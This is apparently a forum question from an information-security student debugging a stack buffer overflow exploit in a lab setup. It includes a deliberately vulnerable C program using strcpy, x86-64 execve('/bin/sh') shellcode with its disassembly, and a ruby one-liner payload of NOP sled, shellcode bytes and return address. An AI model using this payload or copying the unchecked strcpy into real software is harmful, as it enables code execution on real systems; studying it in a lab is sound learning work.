I'm studying information security and experimenting with trying to exploit a classic case of buffer overflow.
I've succeeded in creating the shellcode , in its injection into the code and in its execution, the problem is that a syscall for an execve () inside the shellcode simply does not happens.
In detail:
This is the code of the vulnerable program (it was compiled in Ubuntu 15.04 x86-64, with gcc with the flags: "-fno-stack-protector -z execstack -g" and ASLR off):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int do_bof(char *exploit) {
char buf[128];
strcpy(buf, exploit);
return 1;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
puts("Usage: bof <any>");
return 0;
}
do_bof(argv[1]);
puts("Failed to exploit.");
return 0;
}
This is a small assembly program that executes a shell with an execve () system call and then ends with an exit (). Note that this code works independently. This is: If compiled and linked independently, it works without problems.
global _start
section .text
_start:
jmp short push_shell
starter:
pop rdi
mov al, 59
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
syscall
xor al, al
mov BYTE [rdi], al
mov al, 60
syscall
push_shell:
call starter
shell:
db "/bin/sh"
This is the output of a objdump -d -M intel with the binary of the code above, which is where I extract the shellcode :
spawn_shell.o: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000000000 <_start>:
0: eb 16 jmp 18 <push_shell>
0000000000000002 <starter>:
2: 5f pop rdi
3: b0 3b mov al,0x3b
5: 48 31 f6 xor rsi,rsi
8: 48 31 d2 xor rdx,rdx
b: 48 31 c9 xor rcx,rcx
e: 0f 05 syscall
10: 30 c0 xor al,al
12: 88 07 mov BYTE PTR [rdi],al
14: b0 3c mov al,0x3c
16: 0f 05 syscall
0000000000000018 <push_shell>:
18: e8 e5 ff ff ff call 2 <starter>
000000000000001d <shell>:
1d: 2f (bad)
1e: 62 (bad)
1f: 69 .byte 0x69
20: 6e outs dx,BYTE PTR ds:[rsi]
21: 2f (bad)
22: 73 68 jae 8c <shell+0x6f>
This command would be the payload itself: What injects the shellcode into the program along with the return address that will overwrite the original return address:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
So far, I have already debugged my vulnerable program with the carefully injected shellcode, looking at the RIP register increment, looking at the content of what it points to and checking that content with the opcodes of my shellcode, I have found the following: / p>
- The return address is overwritten by the one provided by me in the payload correctly and execution jumps to my shellcode.
- The execution usually happens until the "16:" of the assembly code above, where the system call happens.
- The system call simply does not happen, even with all registers correctly configured for the system call. Strangely, after the system call, the RAX and RCX registers get all the bits set.
The result is that since the system call did not happen, the jump code snippet is executed again, which causes the execution to skip to the beginning of my shellcode (skipping all NOPs), which causes it is putting the "/ bin / sh" address on the stack continuously until the program crashes and ends in SEGFAULT.
In short, the main problem is this: The syscall inside my shellcode does not run and the exploit does not work, but the syscall inside a program in Assembly independently runs smoothly.
Some other notes:
-
Some would say that I need to finish my string with a null byte. But apparently this is not necessary since my program in Assembly gets a shell even without finishing the string. And I've tried another payload in my vulnerable program with a simple exit () and so on.
-
Remember that this is a vulnerable program compiled for AMD64.
What's wrong with my shellcode?